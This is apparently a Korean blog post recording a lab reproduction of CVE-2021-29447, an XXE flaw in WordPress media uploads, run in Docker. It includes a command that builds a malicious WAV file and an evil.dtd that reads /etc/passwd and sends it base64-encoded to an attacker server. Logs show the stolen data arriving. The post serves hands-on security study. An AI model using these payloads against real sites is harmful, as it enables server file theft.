[docker] POC 따라하기

suritam92022.07.10 12:58조회 수 96댓글 0

macbook air m1에서 doker desktop을 설치하여 아래 사이트와 기타 사이트를 통해 동일하게 테스트할 수 있었다.

https://github.com/dnr6419/CVE-2021-29447

https://github.com/motikan2010/CVE-2021-29447

$ softwareupdate --install-rosetta

$ docker-compose up

$ docker exec -it -u root wordpress /bin/bash -c "/usr/local/bin/wordpress.sh"

$ echo -en 'RIFF\xb8\x00\x00\x00WAVEiXML\x7b\x00\x00\x00<?xml version="1.0"?><!DOCTYPE ANY[<!ENTITY % remote SYSTEM '"'"'http://host.docker.internal:8001/evil.dtd'"'"'>%remote;%init;%trick;] >\x00'> malicious.wav

evil.dtd

<!ENTITY % file SYSTEM "php://filter/zlib.deflate/read=convert.base64-encode/resource=/etc/passwd">

<!ENTITY % init "<!ENTITY % trick SYSTEM 'http://host.docker.internal:8001/?p=%file;'>" >

[docker-compose.yml]

version: '3.7'

services:

wordpress:

platform: linux/x86_64

container_name: wordpress

user: root

image: wordpress:5.6.2-php8.0-apache

restart: always

volumes:

- ./wordpress.sh:/usr/local/bin/wordpress.sh

ports:

- "80:80"

environment:

WORDPRESS_DB_HOST: db

WORDPRESS_DB_USER: exampleuser

WORDPRESS_DB_PASSWORD: examplepass

WORDPRESS_DB_NAME: exampledb

db:

platform: linux/x86_64

image: mysql:5.7

restart: always

environment:

MYSQL_DATABASE: exampledb

MYSQL_USER: exampleuser

MYSQL_PASSWORD: examplepass

MYSQL_RANDOM_ROOT_PASSWORD: '1'

공격자의 서버(자체 운영서버)가 필요하므로 오라클 클라우드에 구축된 것을 활용하였으며, 80은 아파치가 서비스되고 있어 8080으로 테스트 하였다.

별 문제가 없으면 아래와 같이 q 파라미터에 base64로 인코딩된 /etc/passwd 내용이 출력되며,

echo를 이용한 디코딩을 맥북 터미널에서 해봤으나 동작하지 않아, php의 base64_decode 함수로 작성된 php 파일을 만들어 사용했다.

[opc@instance-20211113-2156 html]$ sudo php -S 0.0.0.0:8080

PHP 5.4.16 Development Server started at Sun Jul 10 03:12:26 2022

Listening on http://0.0.0.0:8080

Document root is /var/www/html

Press Ctrl-C to quit.

[Sun Jul 10 03:12:46 2022] :49355 [200]: /evil.dtd

[Sun Jul 10 03:12:46 2022] :49356 [200]: /?p=hVLBboMwDL33Kzhuh8pQ2q7NcZdd1sv2AZMhEY0GCUqg0L+fndCtE0yTrei98J5j4jhrOzGKlMIxhLgW2kCB/rySqBprSJFRTAR678CT5AeBsbWttFnx7ig2FOH7sshfPYlyCkYg1WVRZEpSbcV+t8u3IlC4FQWmqwobxZV2Yp+KSEKdO/irZIPc3F5kG8EQLuigxPKsINCZvm5J/kRBIIh9a20NdSsXi+ua5AeKAIMhopnWqIH7PlIEeFc88pmj70tuJks5A7nzRD7ztM6OVzblnJH9MZFhGNYSO+Sx5JzfG+EYYkuzxvKz565oPJQTDYaIl36k1p4fXH7gPNH1aFMlr7SZnNBgpVwsEGRzt3b8JvIjJ2EZxa43ENnMUBns+Kq3GecLs+S5r9ZvqrWu47Pfr75TTfKAstHm8XZ6AdG5MDtbWMnXGt9lXKdNEhk1UuvKLHX/gW0XhphOtv8MXw==

suritam9